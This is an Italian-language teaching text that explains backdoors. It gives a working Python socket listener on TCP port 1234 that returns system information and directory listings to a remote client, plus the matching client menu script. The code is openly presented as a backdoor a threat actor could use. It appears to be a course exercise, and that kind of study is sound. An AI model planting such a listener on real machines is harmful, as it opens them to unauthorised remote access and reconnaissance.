Una backdoor permette la connessione tra la macchina locale e una macchina connessa in remoto. Può essere sfruttata da un threat actor per prendere il controllo della macchina.

Il primo codice lo eseguiamo sulla prima macchina. Questo crea una socket che comunica tramite ipv4 attraverso la porta TCP 1234.

Il secondo codice lo eseguiamo sulla macchina remota. Questo permette l'accesso alla prima macchina e richiama tre funzioni: una permette di avere informazioni sulla tipologia del sistema operativo, una elenca il contenuto di una directory indicata dall'utente e l'ultima chiude la connessione.

```python
import socket, platform, os

SRV_ADDR = "" #inserire l'indirizzo ip del server
SRV_PORT = 1234 #porta del server

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #crea il socket s che utilizza ipv4 e tcp
s.bind((SRV_ADDR, SRV_PORT)) #per associare l'indirizzo alla porta indicata
s.listen(1) #configura il socket per ascoltare sulla coppia ip:porta che abbiamo indicato. 1 indica il numero massimo di connessioni in coda
connection, address = s.accept() #metodo per accettare le connessioni in entrata

print("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024) #utilizzato per ricevere i dati dal client
    except:
        continue

    if data.decode("utf-8") == "1": #stampa i dati a schermo richiesti dal client decodificati nel formata utf-8
        tosend = platform.platform() + " " + platform.machine() #se il client inserisce 1 visualizzerà le informazioni sul tipo os e l'architettura della macchina
        connection.sendall(tosend.encode())
    elif data.decode("utf-8") == "2":
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode("utf-8")) #se il client inserisce 2 visualizzerà il contenuto della directory indicata
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif data.decode("utf-8") == "0": #se inserisce 0 chiuderà la connessione
        connection.close() #chiude le connessione
        connection, address = s.accept()
```

```python
import socket

SRV_ADDR = input("Type the server IP address: ") #inserire l'ip del server
SRV_PORT = int(input("Type the server port: ")) #inserire la porta del server


def print_menu(): #stampa il menu per la scelta dalla funzione
    print(
        """\n\n0) Close the connection
1) Get system info
2) List directory contents"""
    )


my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))

print("Connection established")
print_menu()

while 1:
    message = input("\n-Select an option: ")

    if message == "0":
        my_sock.sendall(message.encode()) #richiama la funzione di chisura connessione
        my_sock.close()
        break

    elif message == "1":
        my_sock.sendall(message.encode()) #richiama la funzione per avere le informazioni su os e architettura
        data = my_sock.recv(1024)
        if not data:
            break
        print(data.decode("utf-8"))

    elif message == "2": #richiama la funzione per visualizzare i file della directory che si indica
        path = input("Insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
        data = data.decode("utf-8").split(",")
        print("*" * 40)
        for x in data:
            print(x)
        print("*" * 40)
```